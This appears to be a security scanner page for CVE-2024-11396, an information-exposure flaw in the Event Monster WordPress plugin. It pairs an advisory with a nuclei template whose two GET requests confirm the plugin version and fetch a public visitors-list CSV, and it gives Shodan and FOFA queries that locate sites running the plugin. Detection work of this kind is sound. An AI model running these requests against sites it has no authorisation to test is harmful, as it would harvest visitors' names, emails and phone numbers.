Event Monster <= 1.4.3 - Information Exposure Via Visitors List Export

mediumseverity

5.3CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

The Event Monster Event Management, Tickets Booking, Upcoming Event plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.4.3 via the Visitors List Export file. During the export, a CSV file is created in the wp-content folder with a hardcoded filename that is publicly accessible. This makes it possible for unauthenticated attackers to extract data about event visitors, that includes first and last names, email, and phone number.

Impact

Unauthenticated attackers can access CSV files containing sensitive visitor information including names, emails, and phone numbers.

Fix

Update Event Monster plugin to a version newer than 1.4.3.

How to confirm it

Send: GET /wp-content/plugins/event-monster/readme.txt
Positive when: compare_versions(version, "<= 1.4.3") and contains(body, "event-monster") and status_code == 200
Send: GET /wp-content/uploads/visitors-list.csv
Positive when: contains(body, "First Name, Last Name, Email, Phone, Event") and contains(content_type, "text/csv") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-11396 -u <target>

The full check

id: CVE-2024-11396

info:
  name: Event Monster <= 1.4.3 - Information Exposure Via Visitors List Export
  author: s4e-io
  severity: medium
  description: |
    The Event Monster Event Management, Tickets Booking, Upcoming Event plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.4.3 via the Visitors List Export file. During the export, a CSV file is created in the wp-content folder with a hardcoded filename that is publicly accessible. This makes it possible for unauthenticated attackers to extract data about event visitors, that includes first and last names, email, and phone number.
  impact: |
    Unauthenticated attackers can access CSV files containing sensitive visitor information including names, emails, and phone numbers.
  remediation: |
    Update Event Monster plugin to a version newer than 1.4.3.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-11396
    - https://plugins.trac.wordpress.org/browser/event-monster/tags/1.4.3/em-ajax-prossesing/em-visitor-ajax.php#L92
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/0f522dfe-f2c2-4adb-980c-1f03d3c26e12?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11396
    - https://github.com/advisories/GHSA-6x4w-fvqp-6jvc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-11396
    cwe-id: CWE-359
    epss-score: 0.02132
    epss-percentile: 0.82132
  metadata:
    verified: true
    max-request: 2
    vendor: a-wp-life
    product: event-monster
    framework: wordpress
    shodan-query: http.html:"wp-content/plugins/event-monster"
    fofa-query: body="wp-content/plugins/event-monster"
  tags: cve,cve2024,wordpress,wp,wp-plugin,event-monster,info-leak,passive,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/event-monster/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 1.4.3")'
          - 'contains(body, "event-monster")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        internal: true
        regex:
          - "(?mi)Stable tag: ([0-9.]+)"

  - raw:
      - |
        GET /wp-content/uploads/visitors-list.csv HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "First Name, Last Name, Email, Phone, Event")'
          - 'contains(content_type, "text/csv")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from